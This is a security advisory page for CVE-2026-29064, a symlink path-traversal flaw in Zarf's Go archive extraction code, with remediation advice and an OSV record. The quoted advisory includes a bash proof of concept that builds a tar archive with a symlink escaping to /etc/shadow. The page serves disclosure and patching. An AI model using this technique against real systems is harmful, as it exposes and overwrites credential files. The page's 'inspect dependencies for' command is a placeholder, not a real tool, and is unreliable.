CVE-2026-29064: Github.com/zarf dev/zarf/src/pkg/archive Zarf's Symlink Targets Vulnerability

HIGH
Advisory Identifier: GHSA-hcm4-6hpj-vghm
CVSS 8.2
CWE-22
Published
Advisory Summary

CVE-2026-29064 is a HIGH (CVSS 8.2) zarf's symlink targets vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/zarf dev/zarf/src/pkg/archive libraries in the Go ecosystem. The issue involves zarf's symlink targets in archives are not validated against destination directory. Remediation is available by upgrading affected packages to version 0.73.1.

CVE-2026-29064 at a Glance

CVE Identifier CVE-2026-29064
GHSA Identifier GHSA-hcm4-6hpj-vghm
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/zarf dev/zarf/src/pkg/archive
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-29064

To remediate this vulnerability, upgrade all affected Github.com/zarf dev/zarf/src/pkg/archive dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/zarf-dev/zarf/src/pkg/archive fixed: 0.73.1
Upgrade github.com/zarf-dev/zarf/src/pkg/archive to 0.73.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/zarf-dev/zarf/src/pkg/archive

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-29064, inspect your project dependencies for Github.com/zarf dev/zarf/src/pkg/archive:

inspect dependencies for github.com/zarf-dev/zarf/src/pkg/archive

Analyze the terminal output to locate any version of Github.com/zarf dev/zarf/src/pkg/archive in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.73.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/zarf dev/zarf/src/pkg/archive, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A path traversal vulnerability in archive extraction allows a specifically crafted Zarf package to create symlinks pointing outside the destination directory, enabling arbitrary file read or write on the system processing the package. ### What users should do Upgrade immediately to version v0.73.1 If developers cannot upgrade immediately, only process Zarf packages from fully trusted sources until the fix is applied. If using trusted packages and archives - the only impact to this is updating zarf binary or SDK package versions. Previously created packages do not need to be rebuilt. ### Who is affected - Any user of affected Zarf versions who processes packages from untrusted or semi-trusted sources. This includes packages received via file transfer, downloaded from registries, or shared across organizational boundaries. This includes use of the `zarf tools archiver decompress` functionality on generic archives. - Any SDK consumers of Zarf for the affected versions who utilize package load or archive operations. ### What is the risk A malicious Zarf package or archive could create symlinks pointing to arbitrary locations on the filesystem. This could lead to unauthorized file reads, file overwrites, or in some scenarios, code execution on the system performing the extraction in the event a file on the system is both overwritten and executed. This vulnerability does not introduce an execution path explicitly. ### Mitigating Factors If developers only process trusted packages and/or trusted archives (with `zarf tools archiver decompress), the risk is low. ### Details The archive extraction code in src/pkg/archive/archive.go creates symlinks from archive entries without validating that the symlink target resolves within the extraction destination directory. This affects all three extraction handler functions: 1. defaultHandler (on line 320): Joins `dst` with `f.LinkTarget`, but does not verify the resolved path stays under `dst`. This means that a LinkTarget of `"../../../../etc/shadow"` would resolve outside the destination after `filepath.Join`. 2. stripHandler (on line 342): Passes `f.LinkTarget` verbatim to `os.Symlink`. 3. filterHandler (on line 370): Similar to `defaultHandler`, the code joins but does not validate the `LinkTarget`. The vulnerability is a symlink variant of the "Zip Slip" class (CVE-2018-1002200). An attacker constructs a Zarf package containing an archive entry with a malicious `f.LinkTarget`. When the package is extracted, `os.Symlink` creates a symlink pointing outside the extraction root. A subsequent archive entry targeting the same name can then read or write through the symlink to an arbitrary location on the filesystem. ### PoC <details> <summary>Proof of Concept</summary> You may want to follow through these steps inside of a disposable environment (container, VM): ```bash Reproduction via zarf tools archiver decompress (simplest) This demonstrates the vulnerability using the defaultHandler (line 320). # 1. Create a staging directory for the malicious archive contents. mkdir -p /tmp/cve-repro/archive-contents # 2. Create a symlink that traverses out of the extraction directory. # This symlink targets "../../../../../../../etc/shadow" relative to # whatever extraction destination is chosen. cd /tmp/cve-repro/archive-contents ln -s ../../../../../../../etc/shadow escape-link # 3. Also create a regular file so the archive isn't empty besides the link. echo "benign content" > readme.txt # 4. Package into a tar.gz archive. # The --dereference flag is NOT used, so the symlink is stored as-is. cd /tmp/cve-repro tar -czf malicious.tar.gz -C archive-contents . # 5. Verify the archive contains the symlink. tar -tvf malicious.tar.gz # Expected output includes: # lrwxrwxrwx ... ./escape-link -> ../../../../../../../etc/shadow # 6. Create the extraction destination (deeply nested so the traversal # resolves to a real path). mkdir -p /tmp/cve-repro/extract/a/b/c/d # 7. Run the vulnerable extraction. zarf tools archiver decompress malicious.tar.gz /tmp/cve-repro/extract/a/b/c/d # 8. Verify the symlink was created pointing outside the destination. ls -la /tmp/cve-repro/extract/a/b/c/d/escape-link # Expected: escape-link /etc/shadow # # The symlink target resolves to /etc/shadow, which is OUTSIDE # the extraction directory /tmp/cve-repro/extract/a/b/c/d/. readlink -f /tmp/cve-repro/extract/a/b/c/d/escape-link # Expected: /etc/shadow What happened: defaultHandler (line 320) executed: os.Symlink(filepath.Join(dst, f.LinkTarget), target) // = os.Symlink("/tmp/cve-repro/extract/a/b/c/d/../../../../../../../etc/shadow", // "/tmp/cve-repro/extract/a/b/c/d/escape-link") filepath.Join cleans the path to /etc/shadow, which is outside dst. No validation is performed. ``` </details>

CVE-2026-29064 Affected Github.com/zarf dev/zarf/src/pkg/archive Versions

1 component(s)
Fixed Versions:
0.73.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/zarf-dev/zarf/src/pkg/archive
Go
≥ 0.54.0
< 0.73.1
0.73.1

References

Frequently Asked Questions

What is CVE-2026-29064?
CVE-2026-29064 is a security vulnerability in Github.com/zarf dev/zarf/src/pkg/archive involving Zarf's symlink targets in archives are not validated against destination directory under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/zarf dev/zarf/src/pkg/archive versions are affected?
Affected versions include releases prior to 0.73.1 across affected packages: github.com/zarf-dev/zarf/src/pkg/archive.
What version fixes CVE-2026-29064?
Upgrading to 0.73.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/zarf-dev/zarf/src/pkg/archive affected?
Yes, github.com/zarf-dev/zarf/src/pkg/archive is affected in releases prior to 0.73.1. Upgrade your dependency to 0.73.1 or later.
What is the CVSS score of CVE-2026-29064?
CVE-2026-29064 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-29064?
CVE-2026-29064 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-29064?
Run the dependency tree command: 'inspect dependencies for github.com/zarf-dev/zarf/src/pkg/archive'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hcm4-6hpj-vghm",
  "modified" : "2026-03-06T22:10:48Z",
  "published" : "2026-03-06T22:10:48Z",
  "aliases" : [ "CVE-2026-29064" ],
  "summary" : "Zarf's symlink targets in archives are not validated against destination directory",
  "details" : "### Summary\n\nA path traversal vulnerability in archive extraction allows a specifically crafted Zarf package to create symlinks pointing outside the destination directory, enabling arbitrary file read or write on the system processing the package.\n\n### What users should do\nUpgrade immediately to version v0.73.1\n\nIf developers cannot upgrade immediately, only process Zarf packages from fully trusted sources until the fix is applied.\n\nIf using trusted packages and archives - the only impact to this is updating zarf binary or SDK package versions. Previously created packages do not need to be rebuilt.\n\n### Who is affected\n\n- Any user of affected Zarf versions who processes packages from untrusted or semi-trusted sources. This includes packages received via file transfer, downloaded from registries, or shared across organizational boundaries. This includes use of the `zarf tools archiver decompress` functionality on generic archives.\n\n- Any SDK consumers of Zarf for the affected versions who utilize package load or archive operations. \n\n### What is the risk\n\nA malicious Zarf package or archive could create symlinks pointing to arbitrary locations on the filesystem. This could lead to unauthorized file reads, file overwrites, or in some scenarios, code execution on the system performing the extraction in the event a file on the system is both overwritten and executed. This vulnerability does not introduce an execution path explicitly.\n\n### Mitigating Factors\n\nIf developers only process trusted packages and/or trusted archives (with `zarf tools archiver decompress), the risk is low. \n\n### Details\n\nThe archive extraction code in src/pkg/archive/archive.go creates symlinks from archive entries without validating that the symlink target resolves within the extraction destination directory. This affects all three extraction handler functions:\n\n1. defaultHandler (on line 320): Joins `dst` with `f.LinkTarget`, but does not verify the resolved path stays under `dst`. This means that a LinkTarget of `\"../../../../etc/shadow\"` would resolve outside the destination after `filepath.Join`.\n2. stripHandler (on line 342): Passes `f.LinkTarget` verbatim to `os.Symlink`.\n3. filterHandler (on line 370): Similar to `defaultHandler`, the code joins but does not validate the `LinkTarget`.\n\nThe vulnerability is a symlink variant of the \"Zip Slip\" class (CVE-2018-1002200). An attacker constructs a Zarf package containing an archive entry with a malicious `f.LinkTarget`. When the package is extracted, `os.Symlink` creates a symlink pointing outside the extraction root. A subsequent archive entry targeting the same name can then read or write through the symlink to an arbitrary location on the filesystem.\n\n### PoC\n\n<details>\n<summary>Proof of Concept</summary>\nYou may want to follow through these steps inside of a disposable environment (container, VM):\n\n```bash\nReproduction via zarf tools archiver decompress (simplest)\n\nThis demonstrates the vulnerability using the defaultHandler (line 320).\n\n# 1. Create a staging directory for the malicious archive contents.\nmkdir -p /tmp/cve-repro/archive-contents\n\n# 2. Create a symlink that traverses out of the extraction directory.\n#    This symlink targets \"../../../../../../../etc/shadow\" relative to\n#    whatever extraction destination is chosen.\ncd /tmp/cve-repro/archive-contents\nln -s ../../../../../../../etc/shadow escape-link\n\n# 3. Also create a regular file so the archive isn't empty besides the link.\necho \"benign content\" > readme.txt\n\n# 4. Package into a tar.gz archive.\n#    The --dereference flag is NOT used, so the symlink is stored as-is.\ncd /tmp/cve-repro\ntar -czf malicious.tar.gz -C archive-contents .\n\n# 5. Verify the archive contains the symlink.\ntar -tvf malicious.tar.gz\n# Expected output includes:\n#   lrwxrwxrwx ... ./escape-link -> ../../../../../../../etc/shadow\n\n# 6. Create the extraction destination (deeply nested so the traversal\n#    resolves to a real path).\nmkdir -p /tmp/cve-repro/extract/a/b/c/d\n\n# 7. Run the vulnerable extraction.\nzarf tools archiver decompress malicious.tar.gz /tmp/cve-repro/extract/a/b/c/d\n\n# 8. Verify the symlink was created pointing outside the destination.\nls -la /tmp/cve-repro/extract/a/b/c/d/escape-link\n# Expected: escape-link /etc/shadow\n#\n# The symlink target resolves to /etc/shadow, which is OUTSIDE\n# the extraction directory /tmp/cve-repro/extract/a/b/c/d/.\n\nreadlink -f /tmp/cve-repro/extract/a/b/c/d/escape-link\n# Expected: /etc/shadow\n\nWhat happened: defaultHandler (line 320) executed:\nos.Symlink(filepath.Join(dst, f.LinkTarget), target)\n// = os.Symlink(\"/tmp/cve-repro/extract/a/b/c/d/../../../../../../../etc/shadow\",\n//              \"/tmp/cve-repro/extract/a/b/c/d/escape-link\")\nfilepath.Join cleans the path to /etc/shadow, which is outside dst. No validation is performed.\n```\n</details>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zarf-dev/zarf/src/pkg/archive"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.54.0"
      }, {
        "fixed" : "0.73.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/zarf-dev/zarf/security/advisories/GHSA-hcm4-6hpj-vghm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29064"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/zarf-dev/zarf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zarf-dev/zarf/releases/tag/v0.73.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-06T22:10:48Z",
    "nvd_published_at" : "2026-03-06T17:16:34Z"
  }
}